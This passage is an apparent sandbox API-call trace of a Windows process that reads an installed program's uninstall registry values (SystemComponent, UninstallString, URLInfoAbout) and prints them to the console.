_Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.268] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.268] lstrlenW (lpString="SystemComponent") returned 15 [0148.268] __iob_func () returned 0x7fefd702a80 [0148.268] _fileno (_File=0x7fefd702ab0) returned 1 [0148.268] _errno () returned 0xc4bb0 [0148.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.268] _errno () returned 0xc4bb0 [0148.268] GetFileType (hFile=0x50) returned 0x1 [0148.268] lstrlenW (lpString="SystemComponent") returned 15 [0148.268] GetConsoleOutputCP () returned 0x1b5 [0148.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.268] GetConsoleOutputCP () returned 0x1b5 [0148.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0148.268] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.268] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.268] __iob_func () returned 0x7fefd702a80 [0148.268] _fileno (_File=0x7fefd702ab0) returned 1 [0148.268] _errno () returned 0xc4bb0 [0148.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.268] _errno () returned 0xc4bb0 [0148.268] GetFileType (hFile=0x50) returned 0x1 [0148.268] lstrlenW (lpString=" ") returned 4 [0148.268] GetConsoleOutputCP () returned 0x1b5 [0148.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.269] GetConsoleOutputCP () returned 0x1b5 [0148.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.269] __iob_func () returned 0x7fefd702a80 [0148.269] _fileno (_File=0x7fefd702ab0) returned 1 [0148.269] _errno () returned 0xc4bb0 [0148.269] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.269] _errno () returned 0xc4bb0 [0148.269] GetFileType (hFile=0x50) returned 0x1 [0148.269] lstrlenW (lpString="REG_DWORD") returned 9 [0148.269] GetConsoleOutputCP () returned 0x1b5 [0148.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.269] GetConsoleOutputCP () returned 0x1b5 [0148.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.269] __iob_func () returned 0x7fefd702a80 [0148.269] _fileno (_File=0x7fefd702ab0) returned 1 [0148.269] _errno () returned 0xc4bb0 [0148.270] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.270] _errno () returned 0xc4bb0 [0148.270] GetFileType (hFile=0x50) returned 0x1 [0148.270] lstrlenW (lpString=" ") returned 4 [0148.270] GetConsoleOutputCP () returned 0x1b5 [0148.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.270] GetConsoleOutputCP () returned 0x1b5 [0148.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.270] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.270] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.270] __iob_func () returned 0x7fefd702a80 [0148.270] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.270] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.270] _fileno (_File=0x7fefd702ab0) returned 1 [0148.270] _errno () returned 0xc4bb0 [0148.270] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.270] _errno () returned 0xc4bb0 [0148.270] GetFileType (hFile=0x50) returned 0x1 [0148.270] lstrlenW (lpString="0x1") returned 3 [0148.270] GetConsoleOutputCP () returned 0x1b5 [0148.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.271] GetConsoleOutputCP () returned 0x1b5 [0148.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.271] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.271] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.271] __iob_func () returned 0x7fefd702a80 [0148.271] _fileno (_File=0x7fefd702ab0) returned 1 [0148.271] _errno () returned 0xc4bb0 [0148.271] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.271] _errno () returned 0xc4bb0 [0148.271] GetFileType (hFile=0x50) returned 0x1 [0148.271] lstrlenW (lpString="\n") returned 1 [0148.271] GetConsoleOutputCP () returned 0x1b5 [0148.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.271] GetConsoleOutputCP () returned 0x1b5 [0148.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.271] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.271] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.271] GetProcessHeap () returned 0x2e0000 [0148.271] GetProcessHeap () returned 0x2e0000 [0148.271] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.271] GetProcessHeap () returned 0x2e0000 [0148.271] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.272] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.272] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.272] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.272] GetProcessHeap () returned 0x2e0000 [0148.272] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.272] GetProcessHeap () returned 0x2e0000 [0148.272] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.272] GetProcessHeap () returned 0x2e0000 [0148.272] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.272] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.272] __iob_func () returned 0x7fefd702a80 [0148.272] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.272] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.272] _fileno (_File=0x7fefd702ab0) returned 1 [0148.272] _errno () returned 0xc4bb0 [0148.272] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.272] _errno () returned 0xc4bb0 [0148.272] GetFileType (hFile=0x50) returned 0x1 [0148.272] lstrlenW (lpString=" ") returned 4 [0148.272] GetConsoleOutputCP () returned 0x1b5 [0148.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.272] GetConsoleOutputCP () returned 0x1b5 [0148.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.272] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.272] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.272] lstrlenW (lpString="UninstallString") returned 15 [0148.273] __iob_func () returned 0x7fefd702a80 [0148.273] _fileno (_File=0x7fefd702ab0) returned 1 [0148.273] _errno () returned 0xc4bb0 [0148.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.273] _errno () returned 0xc4bb0 [0148.273] GetFileType (hFile=0x50) returned 0x1 [0148.273] lstrlenW (lpString="UninstallString") returned 15 [0148.273] GetConsoleOutputCP () returned 0x1b5 [0148.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.273] GetConsoleOutputCP () returned 0x1b5 [0148.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0148.273] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.273] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.273] __iob_func () returned 0x7fefd702a80 [0148.273] _fileno (_File=0x7fefd702ab0) returned 1 [0148.273] _errno () returned 0xc4bb0 [0148.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.273] _errno () returned 0xc4bb0 [0148.273] GetFileType (hFile=0x50) returned 0x1 [0148.273] lstrlenW (lpString=" ") returned 4 [0148.273] GetConsoleOutputCP () returned 0x1b5 [0148.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.273] GetConsoleOutputCP () returned 0x1b5 [0148.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.274] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.274] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.274] __iob_func () returned 0x7fefd702a80 [0148.274] _fileno (_File=0x7fefd702ab0) returned 1 [0148.274] _errno () returned 0xc4bb0 [0148.274] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.274] _errno () returned 0xc4bb0 [0148.274] GetFileType (hFile=0x50) returned 0x1 [0148.274] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.274] GetConsoleOutputCP () returned 0x1b5 [0148.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.274] GetConsoleOutputCP () returned 0x1b5 [0148.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.274] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.274] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.274] __iob_func () returned 0x7fefd702a80 [0148.274] _fileno (_File=0x7fefd702ab0) returned 1 [0148.274] _errno () returned 0xc4bb0 [0148.274] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.274] _errno () returned 0xc4bb0 [0148.274] GetFileType (hFile=0x50) returned 0x1 [0148.274] lstrlenW (lpString=" ") returned 4 [0148.274] GetConsoleOutputCP () returned 0x1b5 [0148.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.275] GetConsoleOutputCP () returned 0x1b5 [0148.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.275] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.275] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.275] __iob_func () returned 0x7fefd702a80 [0148.275] _fileno (_File=0x7fefd702ab0) returned 1 [0148.275] _errno () returned 0xc4bb0 [0148.275] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.275] _errno () returned 0xc4bb0 [0148.275] GetFileType (hFile=0x50) returned 0x1 [0148.275] lstrlenW (lpString="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}") returned 52 [0148.275] GetConsoleOutputCP () returned 0x1b5 [0148.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.275] GetConsoleOutputCP () returned 0x1b5 [0148.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", lpUsedDefaultChar=0x0) returned 52 [0148.275] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.275] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.275] __iob_func () returned 0x7fefd702a80 [0148.275] _fileno (_File=0x7fefd702ab0) returned 1 [0148.275] _errno () returned 0xc4bb0 [0148.275] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.275] _errno () returned 0xc4bb0 [0148.275] GetFileType (hFile=0x50) returned 0x1 [0148.276] lstrlenW (lpString="\n") returned 1 [0148.276] GetConsoleOutputCP () returned 0x1b5 [0148.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.276] GetConsoleOutputCP () returned 0x1b5 [0148.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.276] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.276] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.276] GetProcessHeap () returned 0x2e0000 [0148.276] GetProcessHeap () returned 0x2e0000 [0148.276] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.276] GetProcessHeap () returned 0x2e0000 [0148.276] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.276] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.276] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.276] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.276] GetProcessHeap () returned 0x2e0000 [0148.276] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.276] GetProcessHeap () returned 0x2e0000 [0148.276] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.276] GetProcessHeap () returned 0x2e0000 [0148.276] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.276] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.276] __iob_func () returned 0x7fefd702a80 [0148.276] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.276] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.277] _fileno (_File=0x7fefd702ab0) returned 1 [0148.277] _errno () returned 0xc4bb0 [0148.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.277] _errno () returned 0xc4bb0 [0148.277] GetFileType (hFile=0x50) returned 0x1 [0148.277] lstrlenW (lpString=" ") returned 4 [0148.277] GetConsoleOutputCP () returned 0x1b5 [0148.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.277] GetConsoleOutputCP () returned 0x1b5 [0148.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.277] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.277] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.277] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.277] __iob_func () returned 0x7fefd702a80 [0148.277] _fileno (_File=0x7fefd702ab0) returned 1 [0148.277] _errno () returned 0xc4bb0 [0148.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.277] _errno () returned 0xc4bb0 [0148.277] GetFileType (hFile=0x50) returned 0x1 [0148.277] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.277] GetConsoleOutputCP () returned 0x1b5 [0148.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.277] GetConsoleOutputCP () returned 0x1b5 [0148.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0148.278] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.278] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.278] __iob_func () returned 0x7fefd702a80 [0148.278] _fileno (_File=0x7fefd702ab0) returned 1 [0148.278] _errno () returned 0xc4bb0 [0148.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.278] _errno () returned 0xc4bb0 [0148.278] GetFileType (hFile=0x50) returned 0x1 [0148.278] lstrlenW (lpString=" ") returned 4 [0148.278] GetConsoleOutputCP () returned 0x1b5 [0148.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.278] GetConsoleOutputCP () returned 0x1b5 [0148.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.278] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.278] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.278] __iob_func () returned 0x7fefd702a80 [0148.278] _fileno (_File=0x7fefd702ab0) returned 1 [0148.278] _errno () returned 0xc4bb0 [0148.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.278] _errno () returned 0xc4bb0 [0148.278] GetFileType (hFile=0x50) returned 0x1 [0148.278] lstrlenW (lpString="REG_SZ") returned 6 [0148.278] GetConsoleOutputCP () returned 0x1b5 [0148.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.279] GetConsoleOutputCP () returned 0x1b5 [0148.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.279] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.279] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.279] __iob_func () returned 0x7fefd702a80 [0148.279] _fileno (_File=0x7fefd702ab0) returned 1 [0148.279] _errno () returned 0xc4bb0 [0148.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.279] _errno () returned 0xc4bb0 [0148.279] GetFileType (hFile=0x50) returned 0x1 [0148.279] lstrlenW (lpString=" ") returned 4 [0148.279] GetConsoleOutputCP () returned 0x1b5 [0148.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.279] GetConsoleOutputCP () returned 0x1b5 [0148.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.279] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.279] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.279] __iob_func () returned 0x7fefd702a80 [0148.279] _fileno (_File=0x7fefd702ab0) returned 1 [0148.279] _errno () returned 0xc4bb0 [0148.280] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.280] _errno () returned 0xc4bb0 [0148.280] GetFileType (hFile=0x50) returned 0x1 [0148.280] lstrlenW (lpString="") returned 0 [0148.280] __iob_func () returned 0x7fefd702a80 [0148.280] _fileno (_File=0x7fefd702ab0) returned 1 [0148.280] _errno () returned 0xc4bb0 [0148.280] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.280] _errno () returned 0xc4bb0 [0148.280] GetFileType (hFile=0x50) returned 0x1 [0148.280] lstrlenW (lpString="\n") returned 1 [0148.280] GetConsoleOutputCP () returned 0x1b5 [0148.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.280] GetConsoleOutputCP () returned 0x1b5 